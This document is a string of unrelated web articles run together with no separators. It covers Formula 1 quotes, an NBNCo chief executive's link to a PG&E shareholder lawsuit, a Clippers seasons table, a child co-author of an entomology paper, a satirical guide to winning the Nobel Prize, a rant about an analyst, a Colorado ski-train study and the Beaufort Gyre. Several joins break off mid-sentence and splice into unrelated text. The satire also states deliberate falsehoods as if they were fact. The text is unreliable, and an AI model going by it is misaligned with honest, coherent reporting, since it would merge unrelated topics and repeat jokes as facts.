Ted Kravitz brings you all the latest news following the Belgium Grand Prix Ted Kravitz brings you all the latest news following the Belgium Grand Prix
"The strategy normally - even if aggressive - is based on clear data that you have, so you're not so stupid or crazy to take a risk for the driver.
"All the teams have an engineer from Pirelli and what do you think that engineer is doing? I mean, he's not there to eat chewing gum; he's there to check the tyres, to follow all that we are doing and to give the data to the team."
Of Vettel's disappointment, Arrivabene added: "When you are one and a half laps [away] and you can see the third position on the podium and you're going to lose it suddenly, I mean of course you are disappointed."Bill Morrow, hired by Coalition to replace Mike Quigley, is being sued over gas explosions, Guardian Australia has revealed
Labor has signalled that it will pursue the Coalition government over its appointment of Bill Morrow to run Australia’s largest national infrastructure project, given that the new NBNCo chief executive is named in current legal proceedings in the United States.
Guardian Australia has previously revealed that Morrow, appointed by the government in December 2013 to run NBNCo, is named in a shareholder action connected to his management of an American gas company that was subsequently responsible for one of the largest utility disasters in Californian history.
Morrow joined the San Francisco-based Pacific Gas and Electric (PG&E) in 2006 as chief operating officer and became chief executive a year later. He left the gas utility in September 2008.
The new NBNCo chief is named alongside 21 other PG&E executives in a consolidated shareholder derivative lawsuit launched against the company, its directors and management.
The suit filed in the San Mateo county court alleges that Morrow, as president and chief operating officer, was in a leadership role at PG&E a time when the company was “grossly underspending on operational and process safety, creating a situation where a catastrophic incident was not only possible but highly likely”.
It alleges Morrow was responsible for implementing a risk-management system for critical infrastructure but, with the “support and approval” of other PG&E executives, he had allowed the company to “make safety a low priority in comparison to profits”.
On Sunday, the shadow communications minister, Jason Clare, signalled via a spokesman that Labor would be pursuing particulars about Morrow’s appointment. “There are clearly questions as to what [the communications minister, Malcolm] Turnbull knew and when he knew it”.
“Given the vicious attacks launched by Mr Turnbull against previous NBNCo CEO Mike Quigley it will be interesting to see what assurances he sought and received from Mr Morrow that the allegations would not hinder his work at NBNCo,” the spokesman said.
NBNCo representatives are due to appear before a Senate estimates hearing in Canberra this week.
Both a spokesman for NBNCo and a spokesman for Turnbull have told Guardian Australia that Morrow’s history with PG&E was fully disclosed to the government at the time of his appointment.
The NBNCo spokesman described the suit in which Morrow is named as “civil proceedings for shareholder compensation directed against both PG&E and a large number of former officers and directors of the company”.
The shareholder suit concerns pipeline disasters in California in 2008 and 2010. On 24 December 2008, a man was killed in Rancho Cordova, California, when a teenage girl lit a cigarette, triggering a massive pipeline explosion that injured five others. In 2010, another pipeline explosion in San Bruno killed eight people and destroyed, or damaged, more than 100 homes.
Morrow had already left PG&E at the time of both incidents but several investigations have been critical of management practices and priorities at the company over a period spanning 15 years, including the two years he was at the helm.
In April 2014, a federal grand jury for the northern district of California returned an indictment charging PG&E with 12 violations of the gas pipeline safety act. A statement by the FBI says: “The indictment alleges that PG&E knowingly and willfully violated the PSA [Pipeline Safety Act] and its regulations between 2003 and 2010.
“According to the indictment, the charges stem from PG&E’s record-keeping and pipeline integrity management practices. The indictment alleges that PG&E failed to address record-keeping deficiencies concerning its larger natural gas pipelines, knowing that their records were inaccurate or incomplete.”
NBNCo said last week that Morrow had not been called to give evidence in the grand jury proceedings and “whether or not this occurs is a matter for the US courts”.
The remark by Clare’s spokesman concerning the Coalition’s sustained criticism of Quigley relates to questions that the Labor appointee was asked about his former corporate history at Alcatel Lucent.
Quigley, who was appointed by Labor to run the NBN rollout, had to answer regular questions about his actions and responsibilities as a former senior executive when it was revealed there had been corruption at Alcatel Lucent in Costa Rica. Quigley repeatedly denied any wrongdoing.
With additional reporting by Dominic Rushe in New YorkThe Los Angeles Clippers are a professional basketball team based in Los Angeles, California. They play in the National Basketball Association (NBA) and are a member of the NBA Western Conference's Pacific Division. The Clippers were founded in 1970 as the Buffalo Braves. They were one of three franchises that joined the NBA as an expansion team in the 1970–71 season. The Braves moved to San Diego, California after the 1977–78 season, and became known as the San Diego Clippers.[1] For the 1984–85 NBA season, the Clippers moved north to Los Angeles and became known as the Los Angeles Clippers.
On October 14, 1970, the Braves beat the Cleveland Cavaliers 107–92 in their first game.[1] In the 1972 NBA Draft, the Braves selected Bob McAdoo,[2] who later won such awards as Rookie of the Year and Most Valuable Player.[3] During McAdoo's years (1972–76) with the franchise,[4] the Braves reached the post-season three times and had a record of nine wins and 13 losses during that time.
Overall, the Clippers have qualified for the post-season thirteen times; most recently in the 2016–17 season. They passed the first round of the playoffs five times (1975–76, 2005–06, 2011–12, 2013-14 and 2014-15). Additionally, the Clippers have never won league or Conference titles, let alone play in either title game in their 45-year history they have never been to a Western Conference Finals, and the 30-year drought between winning a playoffs round is the longest in league history.[5] They also have only eleven seasons with a winning percentage of.500 or better, and as a result, in their April 17, 2000 issue, the Sports Illustrated had three Clippers fans on the cover that stated "The worst franchise in sports history".[6] However, with the additions of Blake Griffin and Chris Paul, they made steady progress as a title contender in recent years. They won their first division title in the 2012-13 season, their 43rd year in the league, and repeated the following year.[7] Chris Paul was traded to the Houston Rockets for eight players and a 2018 draft pick, after the 2017 season.
Table key [ edit ]
Seasons [ edit ]
Note: Statistics are correct as of the end of the 2017–18 season.
League champions Conference champions Division champions Playoff berth
All-time records [ edit ]
Note: Statistics are correct as of the end of the 2017–18 season.
Statistic Wins Losses W–L% Buffalo Braves regular season record (1970–1978) 259 397.395 San Diego Clippers regular season record (1978–1984) 186 306.378 Los Angeles Clippers regular season record (1984–present) 1,489 1,623.478 All-time regular season record (1970–present) 1,605 2,385.402 Buffalo Braves post-season record (1970–1978) 9 13.409 San Diego Clippers post-season record (1978–1984) 0 0 – Los Angeles Clippers post-season record (1984–present) 34 46.425 All-time post-season record (1970–present) 43 59.422 All-time regular and post-season record (1970–present) 1,510 2,311.395
Notes [ edit ]
^ G a m e s b e h i n d = ( T e a m A ′ s w i n s − T e a m B ′ s w i n s ) + ( T e a m B ′ s l o s s e s − T e a m A ′ s l o s s e s ) 2 {\displaystyle \mathrm {Games} \ \mathrm {behind} ={\frac {(\mathrm {TeamA's} \ \mathrm {wins} -\mathrm {TeamB's} \ \mathrm {wins} )+(\mathrm {TeamB's} \ \mathrm {losses} -\mathrm {TeamA's} \ \mathrm {losses} )}{\mathrm {2} }}} The formula is as followed: ^ The team relocated to San Diego, California. ^ The team relocated to Los Angeles, California. ^ [15] Due to a lockout, the season did not start until February 5, 1999, and all 29 teams played a shortened 50 game regular season schedule. ^ [17] Due to a lockout, the season did not start until December 25, 2011 and all 30 teams played a shortened 66 game regular season schedule.
References [ edit ]
GeneralShe’s going through the scientific process and making her own discoveries about insect behaviour
Sophia Spencer hated it when classmates taunted her for her love of insects, but seeing them kill her pet grasshoppers for fun was even worse.
Her first-grade peers couldn’t understand what she found so fascinating about bugs of all sorts or why she’d devote spare time to catching them, reading about them, and generally carrying on like a budding entomologist.
As Sophia listened to schoolyard jeers that called her weird, or was forced to watch as her much-loved bugs were taken from her hands and stepped on for sport, she felt her confidence begin to wane.
Her mother, fearing her child would lose her independent streak, reached out to a national organization of insect researchers in search of a mentor for her daughter. Hundreds of entomologists responded, and now Sophia’s name appears alongside one of them in an international publication devoted to the study of insects.
She is listed as a co-author in a paper published in the Annals of the Entomological Society of America that explores ways social media can be used to engage the scientific community.
The story, held up for scientists as an example of social-media savvy used for the advancement of the profession, is a form of validation for the eight-year-old co-author.
“A lot of the kids saw it, and a lot of the kids knew that if they tried to bully me it won’t really matter because … I won’t really care,” Sophia said in a telephone interview from her home in Sarnia, Ont. “They just realize that I like bugs and I won’t stop.”
READ MORE: ‘Moving away from the fear factor:’ Bringing insects to the dinner table
READ MORE: Beehive stolen from Summerland orchard
Such confidence seemed impossible for Sophia back in August 2016, according to her mother Nicole Spencer.
Anxious after a year of bullying from schoolmates, the child had become more withdrawn and less inclined to play with insects as she’d done since she was a toddler.
Spencer said she wanted to find a mentor to help bolster her daughter’s flagging confidence and reassure her that her passion for bugs did not have to be a source of shame.
She wrote a letter to the Entomological Society of Canada outlining Sophia’s struggles and soliciting a penpal to help reassure her daughter.
The letter fell into the hands of Morgan Jackson, a PhD student at Guelph University who helped maintain the society’s Twitter account. Moved by the story, he posted a screen shot of Spencer’s letter along with a call for volunteers accompanied by the hashtag #bugsR4Girls.
I'm really proud of this piece, and am thrilled to share the publishing experience with Sophia, who I met & collected bugs with this summer pic.twitter.com/s7SiT7giIl — Morgan Jackson (@BioInFocus) September 6, 2017
The tweet got an almost instantaneous response. Would-be mentors began messaging their willingness to support Sophia within seven minutes of the tweet going live, according to the paper, and the post itself was shared thousands of times in the following weeks.
The call to action then found its way into newspapers at home and abroad, cementing it in journal editors’ minds as a prime example of social media outreach done right.
When publishers planned a special edition on the issue of communication, Jackson said he was asked to contribute an account of his efforts on Sophia’s behalf. He said it seemed natural to include a section recounting the campaign’s effects written from the perspective of the person it was meant to help in the first place, which is what led to Sophia’s byline on the piece.
“After my mom sent the message and showed me all the responses, I was happy,” reads Sophia’s section in the paper. “I felt like I was famous. Because I was! It felt good to have so many people support me, and it was cool to see other girls and grown-ups studying bugs. It made me feel like I could do it too, and I definitely, definitely, definitely want to study bugs when I grow up, probably grasshoppers.”
The paper concluded that when offered a stage with an audience of a million people, entomologists can use it to make a positive impact.
“By encouraging a young girl’s love for insects and entomology through an outpouring of community support made possible via social media, entomologists and insect enthusiasts not only made a difference in the life of that one girl, but spread their influence and enthusiasm across the globe,” it said.
Jackson said Sophia shows a natural aptitude for science that bodes well for her future as an entomologist.
“She’s literally going through the scientific process and making her own discoveries about insect behaviour in the process of playing with them,” Jackson said. “That really struck me as being something special.”
Sophia said the bullying has tapered off considerably since last year, a fact that’s as much of a relief to her as it is to her mother.
“It’s fantastic for a kid to see that it’s not going to last, that the bullying’s going to stop and she can be who she wants to be,” she said. “That’s all I want for her.”
Michelle McQuigge, The Canadian Press
Like us on Facebook and follow us on Twitter.Top elected Democrats are taking their opposition to the ObamaCare overhaul plan passed by House Republican to the extreme -- arguing Americans will “die” as a result of the changes.
“Families will go bankrupt. People will die,” Massachusetts Democratic Sen. Elizabeth Warren tweeted on Thursday after the House passed the measure and moved the issue to the Senate, which Republicans also control.
Democrats argue the House GOP changes will in fact make the problematic 2010 health care law worse -- specifically by creating higher costs for customers with preexisting medical conditions and with cuts to Medicaid expansion, resulting in tens |
types with one hand and whips manuscript pages over her shoulder with the other.
So forget her. She’s talented, and at some point we may discover that she’s secretly half the writers in America, but she’s not going to win. John Updike was supposed to win the Nobel like every year I was growing up. Why didn’t he? If he’d stopped writing in 1985 he probably would have. Unfortunately we had book after book from him, too. It’s not a volume industry, this heady literature thing. Most people only have one-and-a-half good books inside them. The idea is to spread that greatness through a career of maybe ten books. Why do great American writers write bad books? Because publishers put so much pressure on them to write the next book. When will you be delivering the next book? What will the next book be? Stephen King is just as prolific as Oates and Updike, and in some ways a much better writer. Why won’t he ever win the Nobel Prize? Because he stopped writing Big Macs and started writing Arch Deluxes. Remember when McDonald’s wanted to attract adults back so they made an adult burger? No, no one remembers this. Because it was a terrible idea. But our pal Stephen is attempting to get critical praise for his books from critics who will never like his books, and why bother, no one likes critics anyway, they are just failed writers. Look at this way, they don’t give a Nobel Prize away for Criticism, do they? Because no one reads the critics except the heartbroken writers, hoping someone will finally understand and appreciate their genius. And no one will. You wouldn’t sit with critics at the lunch table! They’re too critical! Always with the Arch Deluxes, always with the criticizing! Enjoy something unequivocally for once, you nerds. We like to read not because we want to understand a writer, but to enjoy ourselves. I read on the subway, not from the inside of some velvet envelope. I want to enjoy myself! Unless we’re reading like Jonathan Franzen, which is like eating the corn out of people’s poo. The lesson here? There’s nothing wrong with writing Big Macs. All that money is real, and people will love you for entertaining them. Will you win the Nobel Prize? I don’t know, they give it to lots of people I have never heard of. But I know who Stephen King is!
Anyway, being an American writer is not going to give you a leg up on the Nobel. They hate us, those Nobel givers. How can we convince them to give Americans a literature Nobel? Possibly they would if an American wrote a series about how awful and dumb Norway was for them. The whole Norway/Sweden thing is like Yankees v. Red Sox, except with 100 feet of snow melted on top. I think it’s best to distance yourself from America and Americans. So it’s best to completely dump on Americans and the American Way of Life in your novels. None of those Brooklyn ironic writers have ever won the Nobel Prize. Pearl Buck wrote about Chinese people. O’Neill wrote about Irish immigrants. Toni Morrison about poor blacks. If Philip Roth was from France he would have won one by now. So, it may be time for you to…
GO EX-PAT
Americans living overseas always end up writing the best stuff. All that Paris sexy stuff of the 20s. Jane Austen actually grew up in Detroit, people forget that. People forget. Trust me. Just get your shit and go. Being an American is doing nothing for you. If you started wearing burkas and titled your next book Death To The Olive Garden you’d have a much better chance of getting noticed by the international critics. And not just the ones who drive those people-assassinating drones.
I always wanted to move away from America, change my name to Matthias and become a shepherd. It’s just incredibly rewarding work, watching sheep hang out all day. A great gig for a writer. I think you only have to work like two days out of the week, just hanging out on a hill watching sheep. You don’t even have to watch them that hard, just keep an eye on ’em; they’re like nature’s version of an episode of “The Big Bang Theory.” And then you just gently guide them home to safety. It’s the kind of work Nobel Prize winner Halldór Laxness once rode all the way to the top of World Literature. He was an Icelandic writer — we’ve never heard of him because no one has been able to make the definitive shepherding movie. Sheep just are terrible actors, so selfish. And without a movie you might as well be writing plays. Who goes to those? I mean, “Cats” was great. That should have won a Nobel Prize. But they don’t give prizes to pets; they’re really picky and there are so many rules.
America isn’t yet a fully formed country. We haven’t decided quite what we want to be yet. And until we do, it would be best if you stay away. Only Alice Munro has made the suburban lifestyle even approach Literature-worthiness. But that’s Canada, where everything seems magical. I think that’s because the whole nation is so close to all that ice and when the sun or the stars hit it everything glistens. Everyone else just seems to sneer at boring middle-class people. As well they should. The most interesting thing that can happen in Suburban America is, like, having an affair or losing your baby in a mall. And relax, the kid is probably at Orange Julius. All they do in World Literature is have affairs, too. But that’s not the whole story. In America having an affair is still so scandalous it causes existential grief in the lives of all the main characters. Imagine if Christian Grey from Fifty Shades Of Grey was married? They wouldn’t be able to handle all the awards that would be coming their way at 50 SHADES HQ. In Europe even if you don’t want to sleep around on your spouse, you’re still going to sleep around on your spouse. Every one is just assigned a lover and away you two hafta go.
In most other places on Earth, the literature has had thousands of years to evolve. They write about really sophisticated things. Things I frankly don’t understand, I’m just a poor little American. Most of my thoughts are wasted on baseball and small-breasted women. The Literature Award mostly goes to Europeans. Or to World Authors who write like Europeans. So the more European you sound in your work, the better. If your characters could start wearing socks and sandals, forgo showers for a while and smoke even while asleep, you’ll be a winner in no time. If that’s just not going to be possible, you might have to get creative. Clearly I should have stayed in Czechoslovakia when I traveled there in 1991. That would have given me a better chance at winning. And even though most of my influences still are Czech: Franz Kafka, Ivan Klíma, Milan Kundera, Bohumil Hrabal, Paulina Porizkova and Chubby Czecher, people will always see me as just a big fat stupid American that drinks Starbucks all day and shoots people with my handgun rifle at night. But that’s just because I lack a certain quality that all Nobel winners have.
BE DEEP, BUT NOT TOO DEEP
I’m not a deep person. I don’t have deep thoughts. I am not contemplative at all. I have no idea how the universe works or why it does the things it does. And my experiences haven’t given me any insight into the way people live or any ideas of how we could all live better together. Does that mean I won’t win the Nobel Prize? That does not mean that! The Nobel Committee isn’t necessarily looking for the most-daring, most-experimental, nost-smarty-pantsy of writers. They’re kind of middle of the road readers themselves. But like everyone else, they want authors to make them feel smart. Can you make them feel like they’re daring and edgy readers? Then you will soon have a Nobel, my friend. Although they hate any kind of reading that is at all fun, enjoyable, amusing. It’s an eat-your-vegetables kind of vibe they’re looking for. So just fake that kind of tone for like 30–40 years. Dour, solemn, lots of meaningful death shit and lots of adultery. Adultery is like the pinnacle of Literary Themes. If you’re a guy and you sleep around on your wife in books you are deep, existential, Nobel-worthy. If you’re a lady and you sleep around on your husband, the universe will shame you. And that shame will be deep.
But not too deep. It’s not like avant garde writers win the Nobel. Sartre refused his Nobel, which is pretty punk, because he both felt that he wasn’t avant garde enough and therefore winning wasn’t avant garde enough. That’s a lot of money to flush down the toilet. But you can always tell people in bars “The Nobel Prize? Fuck that! I threw mine in the river!” Very punk. But someone probably fished that Nobel out and sold it on ebay. Money’s money, and most writers would gladly tear your heart out and seal their grant-writing envelopes with your still-hot blood if they thought it would get them a few extra bucks. Writers are lazy or they’d go get real jobs like everybody else. Instead they live in the center of a universe in which they are the most interesting character. Yikes!! Double exclamation points!!
The John Cages and Gertrude Steins of the world don’t win prizes. They earn our lip-servicey love. We don’t actually enjoy reading them. We enjoy feeling better than everyone else for reading and listening to people like Cage and Stein. I learned more from every Raymond Chandler novel than I did by reading all the weird Woo Woo Shit I could ever get my hands on. They never gave an award to that French guy who wrote an entire book without using the letter e. Who knows if it was a good book or anything. You should win SOMETHING for writing a whole book without using an e. I can barely write a sentence without using an e. I’m munching on walrus poo. There’s one sentence. It took me an hour to write that. And I’m pretty sure walrus is spelled wrong there, doesn’t it usually have an E in it? I am seeing Es everwhere. So they never give the awards to the people who truly deserve them. That’s why they should give them to you! And me! We’re not up to anything truly complicated or trailblazing. They keep giving the award to people writing in the Magic Realism form. Talking giraffes. Monkeys dressed like angels. That kind of thing. Trees that make you cheeseburgers. Magic cheeseburgers! They love magic realism because it’s safe and it makes people feel smart. And it makes for good movies. Who doesn’t like movies with talking cats? Assholes, that’s who!
So don’t get fancy. Don’t try to do too much. Use E’s, apparently. You just have to learn how to make people feel smarter about themselves without saying much. It’s like how people who don’t talk much seem contemplative, thoughtful. When they’re probably just playing Tetris in their heads. Cheat on your wives in books but not on your husbands! Has a gay writer ever won the Nobel? Maybe just Gide! Although I have my suspicions about Hemingway. So be straight and white and male and old, maybe grow a big bushy beard. And always hold your head or face in your author photos, that helps you sell 10,000 extra copies per book. Blue covers are better. People are always asking for “that book with the blue cover.” Are you writing all this down? This is some serious Nobel-prize-winning gold. Well, get a pen! Go, now!
NO TIME MACHINES, NO WOOKIES, NO VAMPIRES
Genre work might win Nerd Oscars, but if you want a Nobel your writing has to live in the very real world. With dancing pandas that can fly. But no dystopian futures. No Batmobiles. No sexy young psychotic bisexual hackers. Why on earth would that sexy young psychotic bisexual hacker sleep with that boring old reporter dude in The Girl Who Was Much Too Good To Sleep With Some Boring Old Dude? I like my women skinny and crazy. And if they might kill me at any moment, even better. But what exactly is so interesting enough to fuck about Steig Larssen’s main character, Sven McBoringssun? Nothing. Nothing at all. I haven’t read any of those books. I read the first chapter during Jury Duty and was like, this sucks. I saw the American and Klingon movie versions of the first one, and the dude was boring. And that lady was awesome. Journalists shouldn’t be characters in books. Because they’re boring. And they do boring things. Like write stories. Stieg Larssen can’t win the Nobel Prize because he’s dead. But he wouldn’t win it anyway. Because they only give Nobels to boring books that don’t have car chases or rising action or tension.
Vampires might be hot to think about. Having them bite you, suck your blood and read you The Fountainhead while you’re woozy. They’re metaphors for Republicans, naturally, The 1% living off the life-force of the rest of us. We’re delicious snacks to them, in an Alexander Pope Cookbook kind of way. But they’re not the stuff of serious literature, at least the kind of serious literature they bless with Nobels. I like the mad scramble after the award is given out when book people pretend they’ve ever heard of who just won the Nobel. “Oh, sure, Gebuha Xigglebewl! I’ve always loved her writing! She’s been a huge influence on me with her bovine imagery.”
Sci-fi. Mystery. Romance. Fantasy. Porno. Readers love them. But the Nobel prizes aren’t about the books people actually love, they’re about the books you ought to love. If you only had a little class, a little taste. Not too much! Virginia Woolf and James Joyce never won Nobels! Too weird! Too hard to understand! We just want to feel a little smarter, a little more sure of our own well-worn tastes. Not, like, actually challenged! Some of the genre work of the last half-century is among the best story-telling the world has ever know. That doesn’t mean that we should give those writers any awards. We give that to fancy authors. But not too fancy!
Why do I want to win the Nobel Prize? It would mean a lot to my parents, who had to put up with a lot of my shit. I’m probably never gonna get married and make grandkids. I could at least bring my Nobel Prize home for the holidays. We could all have a bite of its delicious chocolate. Yeah, the Nobel Prize is actually made of Swiss Dark Chocolate, look it up.
SEXY! BUT NOT TOO SEXY!
Who doesn’t love a sexy book? Nobel people. Why didn’t Nabokov, Henry Miller or Anne Rice ever win a Nobel? Their books are too sexy. Probably. Or maybe the Nobel People never read those books? The committee is not attracted to that type of thing. And you think they would be because Sweden is so cold all the time. Like in June it is Zero Kelvin. On a clear day you can watch molecules stop moving. Some people are embarrassed about reading dirty books and just never admit to it. I only read dirty books in public. Mostly Nicholson Baker’s Vox and The Fermata. They’re dirty and filthy and they’re about doughie boys like me getting some. That gets you the JimBehrl Prize, Nick! Congratulations! Will Nobel ever coming calling for actually hot books? They had that Piano Teacher book a few years ago. Not exactly sexxy vampire sluts or anything, but decent. People in serious books yearn for great sex, but never quite get all the way there to some kind of earth-shattering release. Kinda like my prom night.
They don’t necessarily reward greatness, or edginess, or talent, or great story-telling with World Famous Lifetime Achievement Awards. They reward Polish poets. Seriously. Every Polish poet ever has won the Nobel Prize. If you just say to any member of the committee “PJestem poetą i jestem z Polski” and they will just hand you one. Probably Sartre’s river-wet hand-me-down. If the Nobels don’t actually reward the most deserving work, if they disqualify you for simply having died, if it’s really just a bunch of wacky Scandos giving awards to pretty much whoever they want, like some kind of wild bookclub with global implications, then why do we pay so much attention? I mean, not too much attention. Big Bird made a bigger splash on twitter than the guy who won this year’s Nobel. I won’t even pretend I remember the guy’s name. And not just because of my white-hot envy at the man who stole my birthright. Don’t the Nobel hotshots read the internet? Do they even know what a haiku is? They’re hard to write! Every week! About the Tennessee Titans! Whatever. I can write middle-of-the-road somewhat-deep-seeming stuff too. I’ve read the first chapter of Crime and Punishment like a million times, I can do anything. I’ll be waiting by the phone! In advance of next year’s congratulatory phone call. If you’ve read this article, thank you. You’ve given me like a half-hour head start on kicking your ass! So suck it, Milan Kundera!
Related: How To Write A Love Poem
Jim Behrle tweets at @behrle for your possible amusement.
Photo by San Francisco Foghorn.Meredith Whitney has been right in the past.
Meredith Whitney has been wrong in the past.
Meredith Whitney will be right about some things in the future.
And Meredith Whitney will be very wrong about some things the future.
The point?
Meredith Whitney doesn’t know shit about the future. Meredith Whitney doesn’t know shit about what the world will be like in the future. David Blaine doesn’t know what the world will be like in the future. Or Uri Geller or Sarah Michelle Gellar. NOBODY knows about the future!
When Meredith Whitney goes on CNBC with the Money Honey (Maria Bartiromo) and throws bombs while yelling fire at a stock market and overall economy that is struggling, what good does it do?
I’m not saying she should pull her punches if she seriously thinks a double-dip recession is inevitable. I’m just saying… she has no idea if a double-dip recession is inevitable. Nobody does. Much like the pundits who say the market is going to 15,000.
I understand Meredith Whitney has to be salacious to back up that rebel, bad girl photo on the front of the website (and above) for her company. “What will that renegade MW say this time? Get ready to sell sell sell!”
But now, Meredith, you are, once again, in the unenviable position of rooting against the American economy – desperately hoping to be right to uphold your “reputation” and secretly wishing the worst so that you can say on CNBC in the spring “Well, I called it last November, Maria.”
Even though you know… you don’t really know.
I don’t care about your precious math and underlying fundamentals, Meredith, and all the bullshit numbers you’ll throw out to back up whatever you’re trying to say – just admit that nobody knows nothing.
Not even a woman with a zebra on her wall.
Jill Kennedy – OnMedeaSUMMIT COUNTY – It’s the year 2025 and the train Coloradans have been talking about for decades -taking skiers and snowboarders from the Front Range to the mountain resorts – has finally been built. It makes six stops, including two in Summit County and can cover its 55-mile run in less than an hour.
That’s the plan, anyway.
The Colorado Department of Transportation will pitch the vision to the private industry experts who build trains in the hope of getting an idea of whether or not it will work in Colorado.
“That gives us enough information to make a feasibility determination,” CDOT transit and rail program manager David Krutsinger said. “If the answer to the feasibility question is yes, then we go into a three to five years of an (environmental impact statement) process.”
Answering the two-part feasibility question is the primary focus of an 18-month study currently underway. The study will determine whether the technology for a high-speed rail that can handle the steep grades and sharp curves of the I-70 mountain corridor even exists, and, if it does, whether Colorado could afford to build it by 2025.
To do that, CDOT, local governments along the corridor and other participants have to have a rough idea of what the train would look like.
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Currently, they’re discussing a rail line that would run between Jefferson and Eagle counties, with one stop in Clear Creek County, two in Summit and two more in Eagle County.
“In Summit, that would, very generally, land somewhere between Silverthorne and Frisco and serve the ski areas there,” Krutsinger said. “And probably one (more stop) in the western part of the county, probably at Copper.”
Meanwhile, local officials are already talking about connector transit systems that might help riders get from the rail stations to other parts of the county, including a tunnel from Copper to Breckenridge.
“Obviously, we’d want some connection,” County Commissioner Dan Gibbs said at a recent work session.
Planners want the train ride to take 45-60 minutes, but they also hope, if things continue to move forward, that construction will begin within the next 10 years and that the final price tag will be politically palatable.
If the rail turns out not to be viable, it will bring the corridor’s stakeholders back to the table to find a different solution for the ongoing weekend congestion problems on the Interstate.
“We can’t do nothing because the traffic problems are too bad and people’s economic growth is hampered if we don’t do anything,” Krutsinger said. “But the flip side of that is nobody wants the corridor to turn into a 10-lane freeway. We don’t want our mountain communities to be completely paved with highways.”
The rail planning team expects to know whether the proposed train system is technologically feasible by this fall. The financial questions will likely be answered by the first part of next year.
cnath@summitdaily.comThe Beaufort Gyre, a key Arctic Ocean current, is acting strangely. Scientists say it may be on the verge of discharging a huge amount of ice and cold freshwater that could kick off a period of lower temperatures in northern Europe.
For millennia, the Beaufort Gyre — a massive wind-driven current in the Arctic Ocean — has been regulating climate and sea ice formation at the top of the world. Like a giant spinning top, the gyre corrals vast amounts of sea ice. Trapped in this clockwise swirl, the ice has historically had more time to thicken than it generally does in other parts of the Arctic Ocean, where currents such as the Trans Polar Drift transport the ice into the warmer north Atlantic more rapidly. In this way, the Beaufort Gyre — located north of Alaska and Canada’s Yukon Territory — has helped create the abundant layers of sea ice that, until recently, covered large parts of the Arctic Ocean year-round. These days, however, something is amiss with this vital plumbing system in the Arctic, a region warming faster than any other on the planet. Thanks in part to rising air temperatures, steadily disappearing sea ice, and the annual melting of 270 billion tons of ice from Greenland’s ice cap, the gyre is no longer functioning as it has predictably done for more than a half century. And now, scientists are anticipating that a sudden change in the Beaufort Gyre could set in motion events that — in a steadily warming world — would actually lead to a temporary but significant cooling of the North Atlantic region. During the second half of the 20th century — and, most likely, earlier — the gyre adhered to a cyclical pattern in which it would shift gears every five to seven years and temporarily spin in a counter-clockwise direction, expelling ice and freshwater into the eastern Arctic Ocean and the North Atlantic. But for more than a dozen years, this carousel of ice and, increasingly, freshwater has been spinning faster in its usual clockwise direction, all the while collecting more and more freshwater from three sources: melting sea ice, huge volumes of runoff flowing into the Arctic Ocean from Russian and North American rivers, and the relatively fresh water streaming in from the Bering Sea.
The Beaufort Gyre is a wind-driven circulation system that traps and pushes freshwater and ice around the Arctic Ocean. NSIDC/AMAP
Today, the Beaufort Gyre holds as much freshwater as all of the Great Lakes combined, and its continuing clockwise swirl is preventing this enormous volume of ice and cold, fresh water from flushing into the North Atlantic Ocean. But, scientists say, the gyre will inevitably weaken and reverse direction, and when it does it could expel a massive amount of icy fresh water into the North Atlantic. Polar oceanographer Andrey Proshutinsky of the Woods Hole Oceanographic Institution has labeled this anticipated surge of water a “ticking climate bomb,” noting that even a partial flush of that growing reservoir — a mere 5 percent — could temporarily cool the climate of Iceland and northern Europe and have a major impact on commercial fisheries in the North Atlantic. A similar event, known as the Great Salinity Anomaly, occurred from the late 1960s into the 1970s, when a surge of water out of the Arctic Ocean freshened and cooled the top half-mile of parts of the North Atlantic. According to British oceanographer Robert R. Dickson, the Great Salinity Anomaly represented one of the most persistent and extreme variations in global ocean climate observed during the past century. The surge of ice and freshwater cooled Northern Europe dramatically and disrupted the North Atlantic food chain, which, in turn, caused a collapse of the lucrative herring fishery. Between 1951 and 2010, as many as eight of 18 exceptionally cold European winters occurred during the period of the Great Salinity Anomaly.
The gyre’s strange behavior is likely linked, at least in part, to the profound warming of the Arctic.
Scientists studying the current state of the Beaufort Gyre say that when the wind-driven current finally becomes “unstuck” and propels freshwater into the North Atlantic, the event could possibly be more widespread and severe than the Great Salinity Anomaly.
“We’re all waiting with bated breath to see what happens when this thing stops sucking in freshwater and finally exhales,” says Alek Petty, a post-doctoral student at NASA’s Goddard Space Flight Center and the University of Maryland, who is studying the gyre. The Beaufort Sea, home of the gyre, is one of the most inaccessible and inhospitable places on the planet. Studying the behavior of the gyre is a major logistical challenge. But for the past 15 years, an international team of scientists from the United States, Canada, Japan, and several other countries has been conducting annual summer research expeditions into the region on icebreakers. The scientists from the Beaufort Gyre Exploration Project have watched with growing interest as the gyre has continued to expand.
“Many of us expected that the high atmospheric pressure that drives those clockwise winds over the region would have temporarily weakened or reversed by now, as they seem to have done with some regularity in the past,” says Richard Krishfield, a Woods Hole oceanographer who is part of the project. “We had expected to see that happen in 2003 when we first went up. But for reasons that are not clearly understood, that hasn’t happened. The gyre has been stuck in this anticyclonic [clockwise] pattern ever since.”
An international team of scientists has been studying the Beaufort Gyre for 15 years. In 2016, the researchers (left) measured ice thickness from points around the gyre, traveling aboard the icebreaker CCGS Louis S. St. Laurent (right). NASA
The gyre’s strange behavior is likely linked, at least in part, to the profound warming of the Arctic, and it demonstrates how disruptions in one rapidly changing region of the world can affect ecosystems hundreds, even thousands, of miles away. In a recent paper, Krishfield, Proshutinsky, and other scientists suggest that frigid freshwater pouring into the north Atlantic Ocean from the rapidly melting Greenland ice sheet is forming a cap on the North Atlantic that results in stratification that prevents storm-triggering heat from the northern end of the Gulf Stream from rising to the surface. The scientists say this may be inhibiting the formation of cyclones that would cause the motion of the gyre to weaken or temporarily reverse. If that is the case, it may mean the gyre will continue to grow and spin clockwise for years to come. That may be good news for northern Europeans and North Atlantic fishermen who would likely suffer from the freshening of the upper layer of their ocean and the ensuing dip in temperatures. But it may simply be delaying a potentially larger flush and more profound cooling event in the future. Some scientists suggest that the Beaufort Gyre’s expansion and continuing clockwise movement may be having one beneficial consequence for marine life in the Arctic. As Arctic sea ice has disappeared — losing 40 percent of its summer extent and about two-thirds of its total volume in the last 40 years — various nations have been eyeing a potential fishing boom. That anticipated fishing bonanza would occur as retreating ice allows sunlight to strike the water, touching off phytoplankton blooms that would then nourish populations of zooplankton, fish, seals, and whales.
A look at how the Beaufort Gyre fractures sheets of sea ice as it rotates. (Credit: NASA)
